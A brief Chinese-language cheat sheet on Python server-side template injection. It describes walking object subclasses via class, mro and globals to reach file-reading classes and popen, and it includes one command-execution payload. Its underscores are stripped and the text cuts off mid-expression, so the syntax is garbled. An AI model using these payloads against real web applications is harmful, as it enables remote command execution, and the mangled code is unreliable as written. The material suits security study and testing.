Bootstrap

SSTI 小结


查找子类:
‘’. class. bases[0]. subclasses()
[]. class. bases[0]. subclasses()
[]. class. mro[-1]. subclasses()
实际的索引可能不同,需要动态识别

str(字符串)、dict(字典)、tuple(元组)、list(列表) 的基类都是object
class:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
bases:用来查看类的基类,也可以使用数组索引来查看特定位置的值。
subclasses():查看当前类的子类组成的列表,即返回基类object的子类。查看子类列表:
for i in enumerate(‘’.class.mro[-1].subclasses()): print(i)

for i in enumerate(object.subclasses()): print(i)
SSTI 的主要目的就是从这么多的子类中找出可以利用的类(一般是指读写文件或执行命令的类)加以利用。
找到父类<type ‘object’> —> 寻找子类 —> 找关于命令执行或者文件操作的模块。
获取基类方法: mro base

builtins 方法是做为默认初始模块出现的,可用于查看当前所有导入的内建函数。
globals:该方法会以字典的形式返回当前位置的所有全局变量。
import():该方法用于动态加载类和函数 。

Python3:
使用file类读取文件的方法: <class ‘_frozen_importlib_external.FileLoader’>这个类索引号;
利用os._warp_close类的 popen函数执行命令:

[].class.mro[-1].subclasses()[128].init.globals’popen’.read()
().class.bases[

;